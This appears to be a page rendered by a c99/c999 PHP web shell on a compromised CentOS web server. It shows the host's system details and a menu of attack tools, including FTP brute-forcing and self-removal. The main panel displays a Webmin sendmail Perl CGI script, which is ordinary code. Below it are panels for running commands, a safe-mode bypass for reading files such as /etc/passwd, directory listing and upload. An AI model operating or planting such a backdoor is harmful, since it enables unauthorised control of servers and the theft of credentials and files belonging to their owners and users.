!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sendmail/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     list_generics.cgi (3.84 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# list_generics.cgi
# Display a list of addresses for outgoing address mapping

require './sendmail-lib.pl';
require './generics-lib.pl';
&ReadParse();
$access{'omode'} || &error($text{'generics_cannot'});
&ui_print_header(undef, $text{'generics_title'}, "");

$conf = &get_sendmailcf();
$gfile = &generics_file($conf);
($gdbm, $gdbmtype) = &generics_dbm($conf);
if (!$gdbm) {
    # No Kgenerics directive in sendmail.cf
    print "<b>",&text('generics_efeature', 'list_features.cgi'),"</b><p>\n";
    &ui_print_footer("", $text{'index_return'});
    exit;
    }
if (!-r $gfile) {
    # Text file not found
    print "<b>",&text('generics_efile', "<tt>$gfile</tt>",
          "<tt>$gdbm</tt>", "$gconfig{'webprefix'}/config.cgi?$module_name"),"</b> <p>\n";
    print "<b>",&text('virtusers_createfile',
                  'create_file.cgi?mode=generics'),"</b><p>\n";
    &ui_print_footer("", $text{'index_return'});
    exit;
    }

# Get list of outgoing mappings, limited to those the user can edit
@gens = &list_generics($gfile);
if ($access{'omode'} == 2) {
    @gens = grep { $_->{'from'} =~ /$access{'oaddrs'}/i ||
               $_->{'to'} =~ /$access{'oaddrs'}/i } @gens;
    }

&generic_form();

if ($in{'search'}) {
    # Restrict to search results
    @gens = grep { $_->{'from'} =~ /$in{'search'}/ } @gens;
    }
elsif ($config{'max_records'} && @gens > $config{'max_records'}) {
    # Show search form
    print $text{'generics_toomany'},"<br>\n";
    print "<form action=list_generics.cgi>\n";
    print "<input type=submit value='$text{'generics_go'}'>\n";
    print "<input name=search size=20></form>\n";
    undef(@gens);
    }

if (@gens) {
    # sort if needed
    if ($config{'sort_mode'} == 1) {
        @gens = sort sort_by_domain @gens;
        }

    # render table of generics
    print &ui_form_start("delete_generics.cgi", "post");
    @links = ( &select_all_link("d", 1),
           &select_invert_link("d", 1) );
    print &ui_links_row(\@links);
    if ($config{'columns'} == 2) {
        $mid = int((@gens+1)/2);
        print "<table width=100%> <tr><td width=50% valign=top>\n";
        &gens_table(@gens[0..$mid-1]);
        print "</td><td width=50% valign=top>\n";
        if ($mid < @gens) { &gens_table(@gens[$mid..$#gens]); }
        print "</td></tr> </table><br>\n";
        }
    else {
        &gens_table(@gens);
        }
    print &ui_links_row(\@links);
    print &ui_form_end([ [ "delete", $text{'generics_delete'} ] ]);
    }
if ($access{'omode'} == 1 && $access{'manual'}) {
    print "<a href='edit_file.cgi?mode=generics'>",
        &text('file_edit', "<tt>$gfile</tt>"),"</a><p>\n";
    }

print $text{'generics_desc1'},"<p>\n";
print &text('generics_desc2', "list_cgs.cgi"),"<br>\n";

&ui_print_footer("", $text{'index_return'});

sub gens_table
{
local @tds = ( "width=5" );
print &ui_columns_start([ "",
              $text{'generics_from'},
              $text{'generics_to'},
              $config{'show_cmts'} ? ( $text{'virtusers_cmt'} )
                                               : ( ) ], 100, 0, \@tds);
foreach $g (@_) {
    local @cols;
    push(@cols, "<a href=\"edit_generic.cgi?num=$g->{'num'}\">".
            "<tt>".&html_escape($g->{'from'})."</tt></a>");
    push(@cols, &html_escape($g->{'to'}));
    push(@cols, &html_escape($g->{'cmt'})) if ($config{'show_cmts'});
    print &ui_checked_columns_row(\@cols, \@tds, "d", $g->{'from'});
    }
print &ui_columns_end();
}

# Notes - The G class lists domains for which outgoing-address translation
# is done. If a mapping for an address like 'foo' exists, it applied for
# from addresses like 'foo' or 'foo@anything'. However, a mapping for
# 'foo@foo.com' applies only for that exact address
# By default, the G class contains only the full local hostname 
# (like florissa.home). Sendmail automatically adds the full hostname
# to unqualified addresses sent locally or through smtp (so <foo> becomes
# <foo@florissa.home>
# The G class can be defined by CG statements in sendmail.cf, or by a
# FG/path line to use an external file..

# If there is a generics mapping from an unqualified name, then it will
# apply for all domains in the G class.


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--